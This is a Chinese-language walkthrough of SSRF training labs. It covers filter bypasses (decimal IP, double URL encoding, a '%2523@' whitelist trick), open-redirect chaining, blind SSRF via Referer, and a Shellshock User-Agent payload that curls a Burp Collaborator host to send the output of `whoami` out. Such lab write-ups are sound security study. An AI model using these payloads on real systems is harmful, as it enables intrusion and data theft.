ssrf
Basic SSRF against the local server
-
题目描述
- lab中的库存检查功能会从内部系统获取数据
- 要求访问
http://localhost/admin
并删除用户carlos
-
解题过程
-
寻找漏洞功能点
-
在商品详情页底部
-
很明显
stockApi
是一个url-encode之后的url
-
-
访问
/admin
-
发现删除
carlos
的链接
-
删除
carlos
- ssrf访问
/admin/delete?username=carlos
即可
- ssrf访问
-
Basic SSRF against another back-end system
-
题目描述
- lab中的库存检查功能会从内部系统获取数据
- 要求扫描
192.168.0.x
网段的8080端口,寻找admin页面,并删除carlos
-
解题过程
-
相比上道题,只多了一个扫描,用intruder即可完成
-
直接抓包丢给intruder
-
网段范围
0 - 255
-
发现admin页面
-
-
按照上道题,利用ssrf访问删除即可
-
SSRF with blacklist-based input filter
-
题目描述
- 库存检查功能会从内部系统获取数据
- 要求访问
http://localhost/admin
并删除用户carlos
- 有比较弱的防御SSRF的过滤
-
解题过程
-
寻找过滤关键字
127.0.0.1
localhost
admin
-
bypass
-
使用数字ip
127.0.0.1
转换为数字ip2130706433
-
url编码
-
通过http,接收后会自动decode一次,之后内部访问,会再次decode,所以可以两次编码
-
admin
转换为两次url编码%25%36%31%25%36%34%25%36%64%25%36%39%25%36%65
-
拼接:
http://2130706433/%25%36%31%25%36%34%25%36%64%25%36%39%25%36%65
-
-
-
访问
http://2130706433/%25%36%31%25%36%34%25%36%64%25%36%39%25%36%65/delete?username=carlos
即可
-
SSRF with whitelist-based input filter
-
题目描述
- 好家伙,第四个就直接来
EXPERT
等级 - 库存检查功能会从内部系统获取数据
- 要求访问
http://localhost/admin
并删除用户carlos
- 有防御SSRF的过滤
- 好家伙,第四个就直接来
-
解题过程
-
先尝试数字ip
被告知url只能是指定站点
stock.weliketoshop.net
-
尝试使用
xip.io
绕过发现仍然提示,只能访问指定站点
-
考虑到题目名是“基于白名单的输入过滤”,先手动测一下白名单内容
-
必须是
http://stock.weliketoshop.net
开头,中间不能有其他字符 -
http://127.0.0.1@stock.weliketoshop.net:8080
可行 而http://stock.weliketoshop.net:8080@127.0.0.1
不可行而且
http://stock.weliketoshop.net
这个域名没有注册,所以应该是正则匹配 -
推测正则
-
^http://([^s]{1,}@){0,1}stock.weliketoshop.net(:d)?(/[-./?%&=w]*)?
-
去网上看了好多绕过的文章和姿势,都绕不过 = =
-
一度陷入自我怀疑
-
-
又看了下正则,我觉得可能的情况只有两种
- 存在url跳转
- 用@ HTTP基础验证
-
尝试url跳转
- 参数污染(x
- api泄露(x
- get参数fuzz(x 我还扔到sqlmap和dirsearch里跑了一遍
- url解析漏洞(x
-
尝试用@ HTTP基础验证
在这个正则下,只能是
xxx@stock.weliketoshop.net
-
我第一个想到的是用
#
锚,使得@stock.weliketoshop.net
失效即
http://127.0.0.1#@stock.weliketoshop.net
但是这样的话,锚会直接生效,会获取到错误的hostname
-
所以需要url-encode一次,使得接收到时
#
为url编码,检查通过后向内网发起请求时才是#
即
http://127.0.0.1%23@stock.weliketoshop.net
(这一步我脑子瓦特了,因为
#
作为url关键字,本身就会被编码一次,即:#
在url里发送出去就是%23
)所以应该是
http://127.0.0.1%2523@stock.weliketoshop.net
(啊啊啊啊啊,我上面尝试失败后就去看solution了,然后被气死)
-
-
剩下的就和之前的方法一样
-
SSRF with filter bypass via open redirection vulnerability
-
题目描述
- 库存检查功能会从内部系统获取数据
- 要求访问
http://192.168.0.12:8080/admin
并删除用户carlos
- 库存检查把访问权限限制为了本地,所以需要寻找重定向来绕过
-
解题过程
-
寻找重定向接口
-
在商品详情的翻页中找到一个比较像的
-
-
测试接口
-
stockApi=/product/nextProduct?path=/
-
看起来有点像
302.php
,直接location跳转,但是不会跟踪跳转,所以需要一个接口去访问这个跳转页面,用之前的checkStock
即可
-
-
Blind SSRF with out-of-band detction
-
题目描述
- 打开商品页面的时候,分析软件会获取
referer
- 要求生成一个访问
collaborator
的HTTP请求
- 打开商品页面的时候,分析软件会获取
-
解题过程
-
直接把
Referer
改成collaborator
的url即可这道题感觉莫名其妙,没有获取任何数据或者执行任何动作,不过倒是想知道这个分析软件的源码(x 打开下道题就不觉得莫名其妙了
-
Blind SSRF with Shellshock exploitation
-
题目描述
- 打开商品页面的时候,分析软件会获取
referer
- 要求通过SSRF,发现
192.168.0.x
中的一个存活主机,使用Shellshock
的payload攻击该存活主机,并利用collaborator
获取用户名
- 打开商品页面的时候,分析软件会获取
-
解题过程
-
先去搜了下
Shellshock
-
CVE-2014-6271
破壳漏洞(bash的一个漏洞) -
这篇文章 写的很清楚
节选部分
POC : env x='() { :;}; echo vulnerable' bash -c "echo this is a test"
env : 设置环境变量后执行程序 bash -c : 启动一个新的Bash , 然后执行后面的命令 . 只有子进程开启时才会其解析环境变量中函数的定义
通过
bash -c
开启当前 Bash 的子进程 , 在子进程载入时会初始化用户环境变量 , 在初始化时发现了包含 "() {
" 格式的字符串 , 所以将该字符串作为一个自动导入函数 . 但由于没有判断函数定义的结束 , 所以错误的将该函数定义后的语句也初始化并当作命令执行了 . 所以子 Bash 会执行该语句并输出vulnerable
, 然后再输出this is a test
.简单的说 , 就是将恶意命令添加到合法的Bash函数定义后 , 在启动子进程时 , Bash 会先执行恶意命令 , 然后再执行正常的指令 .
-
-
按照上道题,测试漏洞点
- 但是这里只能访问某个URL,Shellshock漏洞需要在UA中添加payload,应该要用
gopher
,但是尝试过不成功 - 寻找存活主机? 这也没有反馈,只能构造好payload,一把梭哈
- 寻找构造SSRF的方法?没找到
- 但是这里只能访问某个URL,Shellshock漏洞需要在UA中添加payload,应该要用
-
看了下solution,意思是把
目标主机URL
放在Referer
,payload
放在UA
里-
先试试
payload:
() { :;};curl http://i3mquc43cvfw1xn69b2tpc93fulw9l.burpcollaborator.net/`whoami`
-
成功了
也就是说,分析功能在访问
Referer
的同时,会带上原本的User-Agent
。。。这是什么思路,自己给自己刷流量吗 = = ,个人感觉考gopher会好一点
-
-